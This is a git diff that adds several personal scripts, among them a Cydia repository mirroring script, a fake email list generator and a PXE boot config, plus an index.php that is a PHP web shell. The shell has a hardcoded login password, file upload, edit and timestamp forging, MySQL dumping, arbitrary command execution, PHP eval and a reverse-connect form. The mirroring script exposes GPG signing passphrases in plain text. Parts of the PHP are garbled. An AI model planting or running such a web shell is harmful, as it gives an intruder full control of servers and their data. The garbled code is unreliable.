diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..81aa3bf Binary files /dev/null and b/.DS_Store differ diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0705d39 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ + +push_att.sh diff --git a/create_email.sh b/create_email.sh new file mode 100644 index 0000000..53a5a9e --- /dev/null +++ b/create_email.sh @@ -0,0 +1,8 @@ +#!/bin/bash +i=1 +while [ $i -le 1000000 ] +do +echo $i@gmail.com >> email.csv +let i=$i+1 + +done diff --git a/get_cydia.sh b/get_cydia.sh new file mode 100755 index 0000000..72be444 --- /dev/null +++ b/get_cydia.sh @@ -0,0 +1,224 @@ +#!/bin/bash + +###################################################### +# +#saurik +###################################################### +#!/bin/bash +cd /www/apt.weiphone.com/cydia/ +mkdir -p saurik +cd saurik +rm -f Packages.bz2 +wget http://apt.saurik.com/dists/tangelo-3.7/main/binary-iphoneos-arm/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg + gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget http://apt.saurik.com/$name -O $name + fi + done +fi +#!/bin/bash + +#################################### +#http://apt.bigboss.us.com/repofiles/cydia/dists/stable/main/binary-iphoneos-arm/ +# +#bigboss +#################################### +cd /www/apt.weiphone.com/cydia/ +mkdir bigboss +cd bigboss + +#rm -f Packages.bz2 +killall -9 wget +sleep 2 +wget http://apt.bigboss.us.com/repofiles/cydia/dists/stable/main/binary-iphoneos-arm/Packages.bz2 -O new.bz2 +if [ -f new.bz2 ];then + rm -f Packages Packages.gz Release Packages.bz2 + bzip2 -d new.bz2 + mv new Packages + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg + gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget http://apt.bigboss.us.com/repofiles/cydia/$name -O $name + fi + done +fi + +################################################### +#ispaziorepository +################################################### +cd /www/apt.weiphone.com/cydia/ +mkdir ispazio +cd ispazio +rm -f Packages.bz2 +wget http://ispaziorepository.com/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg +# gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget -c http://ispaziorepository.com/$name -O $name + fi + done +fi + +################################################## +# zodttd +################################################## +cd /www/apt.weiphone.com/cydia/ +mkdir zodttd +cd zodttd +rm -f Packages.bz2 +wget http://cydia.zodttd.com/repo/cydia/dists/stable/main/binary-iphoneos-arm/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg +# gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;' + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + wget http://cydia.zodttd.com/repo/cydia/$name -O $name + fi + done +fi + +###################################################### +# +#modmyi +###################################################### +cd /www/apt.weiphone.com/cydia/ +mkdir modmyi +cd modmyi +rm -f Packages.bz2 +wget http://apt.modmyi.com/dists/stable/main/binary-iphoneos-arm/Packages.bz2 +if [ -f Packages.bz2 ];then + rm -f Packages Packages.gz Release + bzip2 -d Packages.bz2 + bzip2 -zkf Packages + cp -p Packages p + gzip -f Packages + mv -f p Packages + md5=$(md5sum Packages | cut -c -32) + size=$(stat -c %s Packages) + echo " $md5 $size Packages" >> rel + md5=$(md5sum Packages.bz2 | cut -c -32) + size=$(stat -c %s Packages.bz2) + echo " $md5 $size Packages.bz2" >> rel + md5=$(md5sum Packages.gz | cut -c -32) + size=$(stat -c %s Packages.gz) + echo " $md5 $size Packages.gz" >> rel + echo >> rel + cat rl rel > Release + rm -f rel + rm -f Release.gpg +# gpg -abs --always-trust --no-tty --batch --passphrase "leonlaiming" -r "HuangRui" -o Release.gpg Release +gpg -abs --passphrase "nU5rEbrunute" -r "WeiPhone APT" -o Release.gpg Release + filename=`grep Filename Packages |awk '{print $2}' | sed ':a;N;s/\n/ /;ba;'` + for name in $filename ; do + dir=`echo $name |awk -F "/" '{print $1}'` + if [ ! -d "$dir" ];then + mkdir $dir + fi + if [ ! -f "$name" ]; then + mkdir -p $name + rm -Rfv $name + wget http://apt.modmyi.com/$name -O $name + fi + done +fi \ No newline at end of file diff --git a/index.php b/index.php new file mode 100644 index 0000000..f7ac257 --- /dev/null +++ b/index.php @@ -0,0 +1,1968 @@ + $_value) { + if ($_key{0} != '_') { + if (IS_GPC) { + $_value = s_array($_value); + } + $$_key = $_value; + } + } +} + +/*===================== 程序配置 =====================*/ +$admin = array(); +// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效 +$admin['check'] = true; +// 如果需要密码验证,请修改登陆密码 +$admin['pass'] = 'angel'; + +//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认 +// cookie 前缀 +$admin['cookiepre'] = ''; +// cookie 作用域 +$admin['cookiedomain'] = ''; +// cookie 作用路径 +$admin['cookiepath'] = '/'; +// cookie 有效期 +$admin['cookielife'] = 86400; +/*===================== 配置结束 =====================*/ + +if ($charset == 'utf8') { + header("content-Type: text/html; charset=utf-8"); +} elseif ($charset == 'big5') { + header("content-Type: text/html; charset=big5"); +} elseif ($charset == 'gbk') { + header("content-Type: text/html; charset=gbk"); +} elseif ($charset == 'latin1') { + header("content-Type: text/html; charset=iso-8859-2"); +} + +$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; +$timestamp = time(); + +/*===================== 身份验证 =====================*/ +if ($action == "logout") { + scookie('phpspypass', '', -86400 * 365); + p(''); + p('Success'); + exit; +} +if($admin['check']) { + if ($doing == 'login') { + if ($admin['pass'] == $password) { + scookie('phpspypass', $password); + p(''); + p('Success'); + exit; + } + } + if ($_COOKIE['phpspypass']) { + if ($_COOKIE['phpspypass'] != $admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== 验证结束 =====================*/ + +$errmsg = ''; + +// 查看PHPINFO +if ($action == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + } else { + $errmsg = 'phpinfo() function has non-permissible'; + } +} + +// 下载文件 +if ($doing == 'downfile' && $thefile) { + if (!@file_exists($thefile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $fileinfo = pathinfo($thefile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($thefile)); + @readfile($thefile); + exit; + } +} + +// 直接下载备份数据库 +if ($doing == 'backupmysql' && !$saveasfile) { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + $table = array_flip($table); + $result = q("SHOW tables"); + if (!$result) p('
Ver: 2008 () | +
Safe Mode: + Logout | + File Manager | + MySQL Manager | + MySQL Upload & Download | + Execute Command | + PHP Variable | + Eval PHP Code + | Back Connect + | +
+'goaction'));
+makehide('action');
+formfoot();
+
+$errmsg && m($errmsg);
+
+// 获取当前路径
+!$dir && $dir = '.';
+$nowpath = getPath(SA_ROOT, $dir);
+if (substr($dir, -1) != '/') {
+ $dir = $dir.'/';
+}
+$uedir = ue($dir);
+
+if (!$action || $action == 'file') {
+
+ // 判断读写情况
+ $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
+
+ // 删除目录
+ if ($doing == 'deldir' && $thefile) {
+ if (!file_exists($thefile)) {
+ m($thefile.' directory does not exist');
+ } else {
+ m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
+ }
+ }
+
+ // 创建目录
+ elseif ($newdirname) {
+ $mkdirs = $nowpath.$newdirname;
+ if (file_exists($mkdirs)) {
+ m('Directory has already existed');
+ } else {
+ m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
+ @chmod($mkdirs,0777);
+ }
+ }
+
+ // 上传文件
+ elseif ($doupfile) {
+ m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
+ }
+
+ // 编辑文件
+ elseif ($editfilename && $filecontent) {
+ $fp = @fopen($editfilename,'w');
+ m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
+ @fclose($fp);
+ }
+
+ // 编辑文件属性
+ elseif ($pfile && $newperm) {
+ if (!file_exists($pfile)) {
+ m('The original file does not exist');
+ } else {
+ $newperm = base_convert($newperm,8,10);
+ m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
+ }
+ }
+
+ // 改名
+ elseif ($oldname && $newfilename) {
+ $nname = $nowpath.$newfilename;
+ if (file_exists($nname) || !file_exists($oldname)) {
+ m($nname.' has already existed or original file does not exist');
+ } else {
+ m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
+ }
+ }
+
+ // 复制文件
+ elseif ($sname && $tofile) {
+ if (file_exists($tofile) || !file_exists($sname)) {
+ m('The goal file has already existed or original file does not exist');
+ } else {
+ m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
+ }
+ }
+
+ // 克隆时间
+ elseif ($curfile && $tarfile) {
+ if (!@file_exists($curfile) || !@file_exists($tarfile)) {
+ m('The goal file has already existed or original file does not exist');
+ } else {
+ $time = @filemtime($tarfile);
+ m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
+ }
+ }
+
+ // 自定义时间
+ elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
+ if (!@file_exists($curfile)) {
+ m(basename($curfile).' does not exist');
+ } else {
+ $time = strtotime("$year-$month-$day $hour:$minute:$second");
+ m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
+ }
+ }
+
+ // 打包下载
+ elseif($doing == 'downrar') {
+ if ($dl) {
+ $dfiles='';
+ foreach ($dl as $filepath => $value) {
+ $dfiles.=$filepath.',';
+ }
+ $dfiles=substr($dfiles,0,strlen($dfiles)-1);
+ $dl=explode(',',$dfiles);
+ $zip=new PHPZip($dl);
+ $code=$zip->out;
+ header('Content-type: application/octet-stream');
+ header('Accept-Ranges: bytes');
+ header('Accept-Length: '.strlen($code));
+ header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
+ echo $code;
+ exit;
+ } else {
+ m('Please select file(s)');
+ }
+ }
+
+ // 批量删除文件
+ elseif($doing == 'delfiles') {
+ if ($dl) {
+ $dfiles='';
+ $succ = $fail = 0;
+ foreach ($dl as $filepath => $value) {
+ if (@unlink($filepath)) {
+ $succ++;
+ } else {
+ $fail++;
+ }
+ }
+ m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
+ } else {
+ m('Please select file(s)');
+ }
+ }
+
+ //操作完毕
+ formhead(array('name'=>'createdir'));
+ makehide('newdirname');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'fileperm'));
+ makehide('newperm');
+ makehide('pfile');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'copyfile'));
+ makehide('sname');
+ makehide('tofile');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'rename'));
+ makehide('oldname');
+ makehide('newfilename');
+ makehide('dir',$nowpath);
+ formfoot();
+ formhead(array('name'=>'fileopform'));
+ makehide('action');
+ makehide('opfile');
+ makehide('dir');
+ formfoot();
+
+ $free = @disk_free_space($nowpath);
+ !$free && $free = 0;
+ $all = @disk_total_space($nowpath);
+ !$all && $all = 0;
+ $used = $all-$free;
+ $used_percent = @round(100/($all/$free),2);
+ p('File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)'); + +?> + | ||||||
');
+ p(' | ||||||
Filename | Last modified | Size | Chmod / Perms | Action | ||
0 | '); + p(''.$dirdb['filename'].' | '); + p(''.$dirdb['mtime'].' | '); + p('-- | '); + p(''); + p(''.$dirdb['dirchmod'].' / '); + p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].' | '); + p('Del | Rename | '); + p('|
= | Parent Directory | '); + p('|||||
'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBName:'); + makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); + p('
'); + formfoot(); + p(''); +} + +elseif ($action == 'sqladmin') { + !$dbhost && $dbhost = 'localhost'; + !$dbuser && $dbuser = 'root'; + !$dbport && $dbport = '3306'; + $dbform = ''; + if(isset($dbhost)){ + $dbform .= "\n"; + } + if(isset($dbuser)) { + $dbform .= "\n"; + } + if(isset($dbpass)) { + $dbform .= "\n"; + } + if(isset($dbport)) { + $dbform .= "\n"; + } + if(isset($dbname)) { + $dbform .= "\n"; + } + if(isset($charset)) { + $dbform .= "\n"; + } + + if ($doing == 'backupmysql' && $saveasfile) { + if (!$table) { + m('Please choose the table'); + } else { + dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $table = array_flip($table); + $fp = @fopen($path,'w'); + if ($fp) { + $result = q('SHOW tables'); + if (!$result) p(''); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); + makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); + p('
'); + formfoot(); +?> + +'recordlist')); + makehide('doing'); + makehide('action','sqladmin'); + makehide('base64'); + makehide('tablename'); + p($dbform); + formfoot(); + + //选定数据库 + formhead(array('name'=>'setdbname')); + makehide('action','sqladmin'); + p($dbform); + if (!$dbname) { + makehide('dbname'); + } + formfoot(); + + //选定表 + formhead(array('name'=>'settable')); + makehide('action','sqladmin'); + p($dbform); + makehide('tablename'); + makehide('page',$page); + makehide('doing'); + formfoot(); + + $cachetables = array(); + $pagenum = 30; + $page = intval($page); + if($page) { + $start_limit = ($page - 1) * $pagenum; + } else { + $start_limit = 0; + $page = 1; + } + if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { + dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + //获取数据库信息 + $mysqlver = mysql_get_server_info(); + p('MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'
'); + $highver = $mysqlver > '4.1' ? 1 : 0; + + //获取数据库 + $query = q("SHOW DATABASES"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = mysql_fetch_array($query)) { + $dbs[$db['Database']] = $db['Database']; + } + makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); + $tabledb = array(); + if ($dbname) { + p(''); + p('Current dababase: '.$dbname.''); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); + } + p('
'); + mysql_select_db($dbname); + + $getnumsql = ''; + $runquery = 0; + if ($sql_query) { + $runquery = 1; + } + $allowedit = 0; + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename"; + $getnumsql = $sql_query; + $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; + $allowedit = 1; + } + p(''); + if ($tablename || ($runquery && $sql_query)) { + if ($doing == 'structure') { + $result = q("SHOW COLUMNS FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p('Field | '); + p('Type | '); + p('Null | '); + p('Key | '); + p('Default | '); + p('Extra | '); + p('
'.$row['Field'].' | '); + p(''.$row['Type'].' | '); + p(''.$row['Null'].' | '); + p(''.$row['Key'].' | '); + p(''.$row['Default'].' | '); + p(''.$row['Extra'].' | '); + p('
Action | '); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p("$name $type($len) | ");
+ }
+ p('
'.html_clean($inside).' | '; + } + $where = base64_encode($where); + if ($allowedit) p('Edit | Del | '); + p($b1); + p('
'); + p('Your IP:'); + makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); + p('Your Port:'); + makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); + p('Use:'); + makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); + makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); + p('
'); + formfoot(); +}//end sql backup + +elseif ($action == 'eval') { + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si', $phpcode)) { + $phpcode = ""; + } + eval("?".">$phpcode"); + } + formhead(array('title'=>'Eval PHP Code')); + makehide('action','eval'); + maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); + p(''); + formfooter(); +}//end eval + +elseif ($action == 'editfile') { + if(file_exists($opfile)) { + $fp=@fopen($opfile,'r'); + $contents=@fread($fp, filesize($opfile)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); + formfooter(); +}//end editfile + +elseif ($action == 'newtime') { + $opfilemtime = @filemtime($opfile); + //$time = strtotime("$year-$month-$day $hour:$minute:$second"); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + formhead(array('title'=>'Clone file was last modified time')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); + formfooter(); + formhead(array('title'=>'Set last modified')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + p('Instead »'); + p('year:'); + makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); + p('month:'); + makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); + p('day:'); + makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); + p('hour:'); + makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); + p('minute:'); + makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); + p('second:'); + makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); + p('
'); + formfooter(); +}//end newtime + +elseif ($action == 'shell') { + if (IS_WIN && IS_COM) { + if($program && $parameter) { + $shell= new COM('Shell.Application'); + $a = $shell->ShellExecute($program,$parameter); + m('Program run has '.(!$a ? 'success' : 'fail')); + } + !$program && $program = 'c:\windows\system32\cmd.exe'; + !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; + formhead(array('title'=>'Execute Program')); + makehide('action','shell'); + makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); + p(''); + makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('
'); + formfoot(); + } + formhead(array('title'=>'Execute Command')); + makehide('action','shell'); + if (IS_WIN && IS_COM) { + $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); + makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); + } + p(''); + makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); + makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); + p('
'); + formfoot(); + + if ($command) { + p(''); + if ($execfunc=='wscript' && IS_WIN && IS_COM) { + $wsh = new COM('WScript.shell'); + $exec = $wsh->exec('cmd.exe /c '.$command); + $stdout = $exec->StdOut(); + $stroutput = $stdout->ReadAll(); + echo $stroutput; + } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) { + $descriptorspec = array( + 0 => array('pipe', 'r'), + 1 => array('pipe', 'w'), + 2 => array('pipe', 'w') + ); + $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes); + if (is_resource($process)) { + fwrite($pipes[0], $command."\r\n"); + fwrite($pipes[0], "exit\r\n"); + fclose($pipes[0]); + while (!feof($pipes[1])) { + echo fgets($pipes[1], 1024); + } + fclose($pipes[1]); + while (!feof($pipes[2])) { + echo fgets($pipes[2], 1024); + } + fclose($pipes[2]); + proc_close($process); + } + } else { + echo(execute($command)); + } + p(''); + } +}//end shell + +elseif ($action == 'phpenv') { + $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; + $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); + !$dis_func && $dis_func = 'No'; + $info = array( + 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), + 2 => array('Server Domain',$_SERVER['SERVER_NAME']), + 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), + 4 => array('Server OS',PHP_OS), + 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), + 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), + 8 => array('PHP run mode',strtoupper(php_sapi_name())), + 9 => array('The file path',__FILE__), + + 10 => array('PHP Version',PHP_VERSION), + 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), + 12 => array('Safe Mode',getcfg('safe_mode')), + 13 => array('Administrator',$adminmail), + 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), + 15 => array('enable_dl',getcfg('enable_dl')), + 16 => array('display_errors',getcfg('display_errors')), + 17 => array('register_globals',getcfg('register_globals')), + 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), + 19 => array('memory_limit',getcfg('memory_limit')), + 20 => array('post_max_size',getcfg('post_max_size')), + 21 => array('upload_max_filesize',$upsize), + 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), + 23 => array('disable_functions',$dis_func), + ); + + if($phpvarname) { + m($phpvarname .' : '.getcfg($phpvarname)); + } + + formhead(array('title'=>'Server environment')); + makehide('action','phpenv'); + makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); + formfooter(); + + $hp = array(0=> 'Server', 1=> 'PHP'); + for($a=0;$a<2;$a++) { + p('
Pages: '.$multipage.'
' : ''; + } + return $multipage; +} +// 登陆入口 +function loginpage() { +?> + + +Can not connect to MySQL server'); + exit; + } + if($link && $dbname) { + if (!@mysql_select_db($dbname, $link)) { + p('$arg[title]
"); + } else { + p("$arg[title]"); + } +} + +function makeselect($arg = array()){ + if ($arg['onchange']) { + $onchange = 'onchange="'.$arg['onchange'].'"'; + } + $arg['title'] = $arg['title'] ? $arg['title'] : ''; + if ($arg['newline']) p(''); + p("$arg[title] "); + if ($arg['newline']) p('
'); +} +function formhead($arg = array()) { + !$arg['method'] && $arg['method'] = 'post'; + !$arg['action'] && $arg['action'] = $self; + $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; + !$arg['name'] && $arg['name'] = 'form1'; + p("'); +} + +function formfoot(){ + p(''); +} + +// 调试函数 +function pr($a) { + echo ''; + print_r($a); + echo ''; +} + +?> \ No newline at end of file diff --git a/routeos_from_chnroute.sh b/routeos_from_chnroute.sh new file mode 100644 index 0000000..97a5b25 --- /dev/null +++ b/routeos_from_chnroute.sh @@ -0,0 +1,8 @@ +#璁剧疆澶栫綉鎺ュ彛 + dev=wan + #鍙栧緱鏂囦欢杩涜璁$畻 + wget http://chnroutes.googlecode.com/files/routes.txt -q -O - |awk '{print $2,$3}' |while read line; +do +ipcalc $line |grep -oP '\d+\.\d+\.\d+\.\d+\/\d{1,2}' +done |awk -v dev=$dev '{print "ip route add dst-address="$1" gateway="dev}' + diff --git a/untitled.txt b/untitled.txt new file mode 100644 index 0000000..6071a74 --- /dev/null +++ b/untitled.txt @@ -0,0 +1,7 @@ +SERIAL 0 19200 0 + +default pxeboot +timeout 10 +label pxeboot + kernel vmlinuz + append initrd=initrd.gz installsource=http://192.168.1.225/hsrouter_V8_final_Build20110316.iso console=ttyS0,19200n81